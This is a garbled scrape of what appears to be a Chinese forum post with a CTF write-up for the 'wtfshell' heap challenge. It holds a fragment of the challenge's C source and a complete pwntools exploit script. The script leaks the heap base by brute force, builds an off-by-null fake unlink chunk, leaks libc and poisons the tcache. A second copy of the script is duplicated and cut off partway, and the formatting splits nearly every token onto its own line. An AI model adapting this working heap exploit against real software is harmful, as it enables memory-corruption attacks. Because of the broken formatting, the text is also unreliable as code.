the current user,
and
the
file
must be readable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & RDPERM)) {
write_str(
"omfg: ¬ perm\n"
);
return
;
}
if
(!gfiles[i]
-
>fdata) {
/
/
empty
file
return
;
}
write_str(gfiles[i]
-
>fdata);
write_str(
"\n"
);
return
;
}
}
write_str(
"omfg: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ \n"
);
}
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
add_data(b
'big'
,b
'a'
*
0x100
)
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
delete_file(b
'off-by-null-chunk'
)
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((heap_base
+
0x330
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
)
write_addr(b
'go_attack'
,p32(
1
)
+
p32(
0x3
)
+
p64(
0xdeadbeef
)
+
b
'lotuslotus'
,
0x1a
)
show_file(b
'a'
*
0x10
)
qwq(heap_base)
qwq(libc_base)
r.interactive()
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-12-2 11:12
被Loτυs编辑
,原因: